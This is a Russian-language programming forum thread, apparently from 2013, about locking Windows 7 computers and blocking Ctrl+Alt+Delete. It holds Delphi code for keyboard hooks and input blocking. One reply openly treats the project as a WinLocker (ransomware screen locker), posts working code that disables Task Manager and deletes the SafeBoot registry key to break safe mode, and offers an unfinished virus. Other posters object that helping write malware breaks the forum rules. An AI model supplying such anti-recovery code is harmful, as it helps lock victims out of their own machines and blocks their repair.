![]()  | 
	
 
  | 
		
			
  | 	
	
	
		
		|||||||
| Регистрация | << Правила форума >> | FAQ | Пользователи | Календарь | Поиск | Сообщения за сегодня | Все разделы прочитаны | 
![]()  | 
	
	
| 
		 | 
	Опции темы | Поиск в этой теме | Опции просмотра | 
| 
	 | 
| 
		 
			 
			#1  
			
			
			
			
		 
		
		
	 | 
||||
		
		
  | 
||||
| 
	
	
		
			
			 Доброго времени суток. 
		
	
		
		
		
		
		
	
		
		
	
	
	Проблема такая: пишу программу для администрирования компьютеров небольшой фирмы. Все компьютеры под Win 7. Нужен способ блокировки и разблокировки компьютера или хотя бы клавиатуры. BlockInput работает но не блокирует Ctrl+Alt+Delete. Может кто нибудь знает другой способ или подскажет как рубануть Ctrl+Alt+Delete.  | 
| 
		 
			 
			#2  
			
			
			
			
		 
		
		
	 | 
||||
		
		
  | 
||||
| 
	
	
		
			
			 Ну может быть кто нибудь какую нибудь бредовую идею кинет. Не могу стоять на месте 
		
	
		
		
		
		
		
	
		
		
	
	
	  ... | 
| 
		 
			 
			#3  
			
			
			
			
		 
		
		
	 | 
||||
		
		
  | 
||||
| 
	
	
		
			
			 Цитата: 
	
 Код: 
	uses WinProcs var i: integer=0; begin // Ctrl-Alt-Del SystemParametersInfo(SPI_SCREENSAVERRUNNING, 1, @i, 0); // для Alt-Tab: SPI_SETFASTTASKSWITCH end; Код: 
	var i: integer=0; OldKbHook: HHook=0; ... function KbHook(code: Integer; wparam: Word; lparam: LongInt): LongInt; stdcall; begin if code<0 then Result:= CallNextHookEx(oldKbHook, code, wparam, lparam) else Result:= 1; end; // Выключение клавиатуры SystemParametersInfo(SPI_SETFASTTASKSWITCH, 1, @i, 0); SystemParametersInfo(SPI_SCREENSAVERRUNNING, 1, @i, 0); OldKbHook:= SetWindowsHookEx(WH_KEYBOARD, @KbHook, HInstance, 0); // Включение клавиатуры if OldKbHook <> 0 then begin UnHookWindowshookEx(OldKbHook); OldKbHook:= 0; end; SystemParametersInfo(SPI_SETFASTTASKSWITCH, 0, 0, 0); SystemParametersInfo(SPI_SCREENSAVERRUNNING, 0, 0, 0); Код: 
	EnableHardwareInput(false); // false = Off true = On // или EnableHardwareKeyboard(false); Последний раз редактировалось Alegun, 22.02.2013 в 21:37. Причина: Дополнение  | 
| 
		 
			 
			#4  
			
			
			
			
		 
		
		
	 | 
||||
		
		
  | 
||||
| 
	
	
		
			
			 Ничего не срабатывает 
		
	
		
		
		
		
		
	
		
		
	
	
	Цитата: 
	
 Цитата: 
	
  | 
| 
		 
			 
			#5  
			
			
			
			
		 
		
		
	 | 
|||
		
		
  | 
|||
| 
	
	
		
			
			 Цитата: 
	
   ), тогда согласен. | 
| 
		 
			 
			#6  
			
			
			
			
		 
		
		
	 | 
||||
		
		
  | 
||||
| 
	
	
		
			
			 создай новый рабочий стол и переключись на него. диспетчер задач можно будет запустить, но он будет на основном столе и работать с ним не получится. 
		
	
		
		
		
		
			
		
		
		
		
	
		
		
	
	
	 | 
| 
		 
			 
			#7  
			
			
			
			
		 
		
		
	 | 
|||
		
		
  | 
|||
| 
	
	
		
			
			 Ты что ли WinLocer пишешь? Так и говори четко? здесь все свои  
		
	
		
		
		
		
		
	
		
		
	
	
	  Вот процедура блокировки диспетчера задач работает на windows 7.Код: 
	// Процедура отрубающия диспечер
procedure OfDispecher;
  var
  r:Tregistry;
  begin
r:=Tregistry.Create;
r.RootKey:=HKEY_CURRENT_USER;
r.OpenKey('software\Microsoft\Windows\CurrentVersion\Policies\system',true);
r.WriteInteger('DisableTaskMgr',1);
r.closekey;
r.free;
end;
//--------------------------------
// Процедура включающия диспечер
 procedure OnDispecher;
  var
  r:Tregistry;
  begin
r:=Tregistry.Create;
r.RootKey:=HKEY_CURRENT_USER;
r.OpenKey('software\Microsoft\Windows\CurrentVersion\Policies\system',true);
r.WriteInteger('DisableTaskMgr',0);
r.closekey;
r.free;
end;Вот эта отрубает безопасный режим Код: 
	 procedure OfRegim;
    var
    reg: tregistry;
    begin
    reg:=TRegistry.Create;
    reg.RootKey:=HKEY_LOCAL_MACHINE;
    if Reg.KeyExists('SYSTEM\CurrentControlSet\Control\SafeBoot') then
    begin
    reg.DeleteKey('SYSTEM\CurrentControlSet\Control\SafeBoot');
    reg.CloseKey;
    reg.free;
end
else
  sleep(1);
end;Если в хочешь могу скинуть не доделанный сам вирус чтоб ты имел ввиду из чего зверек слеплен...  | 
| 
		 
			 
			#8  
			
			
			
			
		 
		
		
	 | 
||||
		
		
  | 
||||
| 
	
	
		
			
			 Согласен с NumLock. 
		
	
		
		
		
		
		
	
		
		
	
	
	ЗЫ Написание и помощь в написании вредоносов на форуме запрещено, насколько мне известно ![]()  | 
| 
		 
			 
			#9  
			
			
			
			
		 
		
		
	 | 
|||
		
		
  | 
|||
| 
	
	
		
			
			 Я думаю чтоб научится бороться с подобной напастью, нужно ее тоже уметь делать, чтоб иметь представления как эта страсть работает. Главное чтобы у него зверек дальше его машинки не ходил  
		
	
		
		
		
		
		
	
		
		
	
	
	![]()  | 
| 
		 
			 
			#10  
			
			
			
			
		 
		
		
	 | 
||||
		
		
  | 
||||
| 
	
	
		
			
			 Цитата: 
	
 А правила форума надо читать. За такие посты можно и банхаммером схлопотать.  |